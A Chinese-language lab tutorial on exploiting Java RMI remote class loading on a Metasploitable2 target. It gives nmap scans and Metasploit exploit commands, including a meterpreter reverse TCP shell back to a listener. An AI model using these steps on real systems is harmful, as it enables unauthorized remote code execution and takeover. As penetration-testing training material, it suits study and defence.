Java RMI漏洞利用

栏目: Java · 发布时间: 5年前

内容简介:Java远程方法调用,也就是Java RMI,它是一种机制,允许一个Java虚拟机中的对象去访问和调用另一个Java虚拟机中包含的方法。这与RPC基本相同,但是在面向对象的范例中,而非面向过程,它允许不在同一个地址空间中的Java程序互相通信。漏洞源于RMI Registry和RMI Activation Service(RMI激活服务)的默认配置,允许从远程URL中加载类。RMI协议使用两种其他协议来实现其on-the-wire格式,即Java对象序列化和HTTP协议:

Java远程方法调用,也就是Java RMI,它是一种机制,允许一个 Java 虚拟机中的对象去访问和调用另一个Java虚拟机中包含的方法。这与RPC基本相同,但是在面向对象的范例中,而非面向过程,它允许不在同一个地址空间中的Java程序互相通信。

漏洞源于RMI Registry和RMI Activation Service(RMI激活服务)的默认配置,允许从远程URL中加载类。

RMI协议使用两种其他协议来实现其on-the-wire格式,即Java对象序列化和HTTP协议:

·对象序列化协议用来编组调用和返回数据。

· HTTP协议用于POST远程方法调用,并在情况允许时获取返回数据。

Step1—漏洞发现

第一步就是拿nmap神器扫描目标地址。

命令:nmap 192.168.73.130

192.168.73.130是我们的靶机(metasploitable2),靶机上安装了Java RMI服务(rmiregistry),运行在1099端口上,你也可以通过nmap扫描结果来看这个端口是开放的。

Metasploitable2介绍:这是一个集合了各种漏洞的靶机,可以用来进行安全培训,测试安全 工具 和练习常用的渗透测试技巧。

Java RMI漏洞利用

你也可以使用nmap脚本来验证这个漏洞是否存在,命令如下:

nmap –script=rmi-vuln-classloader -p 1099 192.168.73.130

下面的脚本检测Java rmiregistry服务是否允许加载类。默认的配置允许rmiregistry服务从远程URLs加载类,这就导致了远程代码执行。

供应商(Oracle/sun公司)声称这是一项涉及功能。

Java RMI漏洞利用

在我们的攻击机上启动MSF,然后在控制台搜索java_rmi,命令如下:

search java_rmi

Java RMI漏洞利用

通过上面的截图可以看到,有很多与Java RMI相关的模块,不过对于扫描来说,最佳模块是auxiliary/scanner/misc/java_rmi_server,对于漏洞利用,最佳模块是exploit/multi/misc/java_rmi_server

我们先使用扫描模块,输入下列命令,然后”show options”一下

use auxiliary/scanner/misc/java_rmi_server

Java RMI漏洞利用

接下来是设置RHOST和RPORT,命令如下:

setRHOSTS 192.168.73.130
setRPORT 1099
run

Java RMI漏洞利用

Step2—漏洞利用

我们可以看到扫描器检测到了运行在1099端口上的java RMI服务,这就表明它可能存在这个漏洞。

现在我们就来使用一下漏洞利用的最佳模块,命令如下:

use exploit/multi/misc/java_rmi_server

然后输入“show options”查看需要设置的参数,如图:

Java RMI漏洞利用

该模块(java_rmi_server)利用RMI registry和RMI激活服务,允许从任何的远程URLs加载类。由于它调用了RMI Distributed Garbage Collector中的一个方法,该方法在每个RMI终端中都是可用的,它既可以用于rmiregistry和rmid,也可以用于大部分其他(自定义的)的RMI终端。

注意:它不适用于Java Manager Extension(JMX)端口,因为它们不支持远程加载类,除非有另一个RMI终端在相同的java进程中处于活跃状态。RMI方法调用不支持或要求任何的身份验证。

同样,你还是要设置RHOST和RPORT。

setRHOST 192.168.73.130
setRPORT 1099

Java RMI漏洞利用

然后,你还需要设置payload来进行反向TCP shell连接,命令如下:

Set payload /java/meterpreter/reverse_tcp

你可以输入show payloads来查看所有的payload。

接着我们还是输入“show options”来查看刚才设置的payload需要设置的参数。如图:

Java RMI漏洞利用

这里你可以看到缺少了LHOST,因为我们使用的是反向shell,我们需要设置一个监听地址和监听端口,这里我的LHOST地址是192.168.73.128,监听端口我设置为4444,如图:

Java RMI漏洞利用

我们可以看到这个exp在我们的系统中启动了一个处理器,向靶机发送RMI方法调用,然后成功打开了一个meterpreter会话。

输入“session -i”来查看所有已建立的会话,连接活跃的会话,我们可以使用“session -i <ID>”,如图:

Java RMI漏洞利用

建立会话连接之后,我们就可以使用sysinfo,shell和getuid等命令了,如图:

Java RMI漏洞利用


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Approximation Algorithms

Approximation Algorithms

Vijay V. Vazirani / Springer / 2001-07-02 / USD 54.95

'This book covers the dominant theoretical approaches to the approximate solution of hard combinatorial optimization and enumeration problems. It contains elegant combinatorial theory, useful and inte......一起来看看 《Approximation Algorithms》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

在线进制转换器
在线进制转换器

各进制数互转换器

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换